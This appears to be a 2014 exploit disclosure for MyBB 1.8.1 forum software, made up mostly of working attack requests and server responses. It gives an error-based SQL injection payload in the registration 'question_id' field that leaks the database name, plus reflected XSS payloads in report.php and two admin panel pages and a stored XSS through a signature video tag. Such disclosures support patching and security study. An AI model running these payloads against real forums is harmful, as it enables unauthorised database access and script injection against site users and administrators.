Untitled

#Title: MyBB 1.8.X - Multiple Vulnerabilities
#Date: 13.11.2014
#Tested on: Linux / Apache 2.2 / PHP 5 (localhost)
#Vendor: mybb.com
#Version:  => 1.8.1 - Latest ATM
#Contact: smash@devilteam.pl
#Author: Smash_


Latest MyBB forum software suffers on multiple vulnerabilities, including SQL Injection and Cross Site Scripting. Such bugs may allow attacker to perform remote sql queries against the database, and so on.

Sanitize your inputs ;)


1. SQL Injection

Vuln:
POST 'question_id' - ID'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1#

#1 - Request (question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#):
POST /mybb-1.8.1/member.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 408

regcheck1=&regcheck2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1415880544&step=registration&action=do_register

#1 - Response:
HTTP/1.1 503 Service Temporarily Unavailable
Date: Thu, 13 Nov 2014 15:16:02 GMT
		<div id="content">
			<h2>MyBB SQL Error</h2>

			<div id="error">
				<p>MyBB has experienced an internal SQL error and cannot continue.</p><dl>
<dt>SQL Error:</dt>
<dd>1054 - Unknown column '9' in 'order clause'</dd>
<dt>Query:</dt>
			SELECT q.*, s.sid
			FROM mybb_questionsessions s
			LEFT JOIN mybb_questions q ON (q.qid=s.qid)
			WHERE q.active='1' AND s.sid='C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' ORDER BY 9#'
		</dd>


#2 - Request (question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#):
POST /mybb-1.8.1/member.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 409

regcheck1=&regcheck2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1415880544&step=registration&action=do_register

#2 - Response:
HTTP/1.1 200 OK
Date: Thu, 13 Nov 2014 15:21:15 GMT
(...)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- start: member_register -->
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Forums - Registration</title>


#3 - Request (Final POC):
POST /mybb-1.8.1/member.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 475

regcheck1=&regcheck2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1415880544&step=registration&action=do_register

#3 - Response:
HTTP/1.1 503 Service Temporarily Unavailable
Date: Thu, 13 Nov 2014 15:24:34 GMT
(...)
		<div id="content">
			<h2>MyBB SQL Error</h2>

			<div id="error">
				<p>MyBB has experienced an internal SQL error and cannot continue.</p><dl>
<dt>SQL Error:</dt>
<dd>1062 - Duplicate entry 'mybb:1' for key 'group_key'</dd>
<dt>Query:</dt>
<dd>
			SELECT q.*, s.sid
			FROM mybb_questionsessions s
			LEFT JOIN mybb_questions q ON (q.qid=s.qid)
			WHERE q.active='1' AND s.sid='-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' or 1 group by concat_ws(0x3a,database(),floor(rand(0)*2)) having min(0) or 1#'
		</dd>
</dl>
(...)


2. Cross Site Scripting

 a) Reflected XSS - Report post

Vuln:
GET 'type' - XSS"><script>alert(666)</script>

localhost/mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1

Request:
GET /mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1 HTTP/1.1
Host: localhost

Response:
HTTP/1.1 200 OK
Set-Cookie: sid=27ec1f0b75b3c6b9d852e6614144a452; path=/mybb-1.8.1/; HttpOnly
Content-Length: 1247
Content-Type: text/html

<div class="modal">
  <div style="overflow-y: auto; max-height: 400px;" class="modal_0">
  <form action="report.php" method="post" class="reportData_0" onsubmit="javascript: return Report.submitReport(0);">
<input type="hidden" name="my_post_key" value="c08308117fcadae6609372f46fa97835" />
<input type="hidden" name="action" value="do_report" />
<input type="hidden" name="type" value="XSS"><script>alert(666)</script>" />
<input type="hidden" name="pid" value="0" />


 b) Stored XSS - Signature

Vuln:
POST 'signature' - [video=youtube]http://youtube.com?"+xss="true"+666="[/video]

#1 - Request (change signature):
POST /mybb-1.8.1/usercp.php HTTP/1.1
Host: localhost
Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig
Content-Type: application/x-www-form-urlencoded
Content-Length: 203

my_post_key=c08308117fcadae6609372f46fa97835&signature=%5Bvideo%3Dyoutube%5Dhttp%3A%2F%2Fyoutube.com%3F%22+xss%3D%22true%22+666%3D%22%5B%2Fvideo%5D&updateposts=0&action=do_editsig&submit=Update+Signature

#2 - Request (user's profile):
GET /mybb-1.8.1/member.php?action=profile&uid=2 HTTP/1.1
Host: localhost
Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig

#2 - Response:
HTTP/1.1 200 OK
Set-Cookie: sid=e68f1b6fab0737d7057b546e24d8106e; path=/mybb-1.8.1/; HttpOnly
Content-Length: 12740
Content-Type: text/html; charset=UTF-8
(...)
<table border="0" cellspacing="0" cellpadding="5" class="tborder tfixed">
<tr>
<td class="thead"><strong>user's Signature</strong></td>
</tr>
<tr>
<td class="trow1 scaleimages">[Video: <a href="http://youtube.com?" xss="true" 666="" target="_blank">http://youtube.com?" xss="true" 666="</a>]</td>
</tr>
</table>
<br />


 c) Reflected XSS - Templates (AP)

Vuln:
GET 'title' - title"><script>alert(666)</script>

localhost/mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar"><script>alert(666)</script>&sid=1&expand=1

Request:
GET /mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar%22%3E%3Cscript%3Ealert(666)%3C/script%3E&sid=1&expand=1 HTTP/1.1
Host: localhost

Response:
HTTP/1.1 200 OK
(...)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/1">
	<title>Editing Template: calendar"><script>alert(666)</script></title>


 d) Reflected XSS - Languages (AP)

Vuln:
GET 'file' - <a onmouseover=alert(666)>woot

localhost/mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=<a onmouseover=alert(666)>woot

Request:
GET /mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=%3Ca%20onmouseover=alert(666)%3Ewoot HTTP/1.1
Host: localhost

Response:
HTTP/1.1 200 OK
(...)
<a href="index.php?module=config-languages">Languages</a> &raquo; <a href="index.php?module=config-languages&amp;action=edit&amp;lang=english">English (American)</a> &raquo; <span class="active"><a onmouseover=alert(666)>woot</span>
(...)
<div class="title"><a onmouseover=alert(666)>woot</div>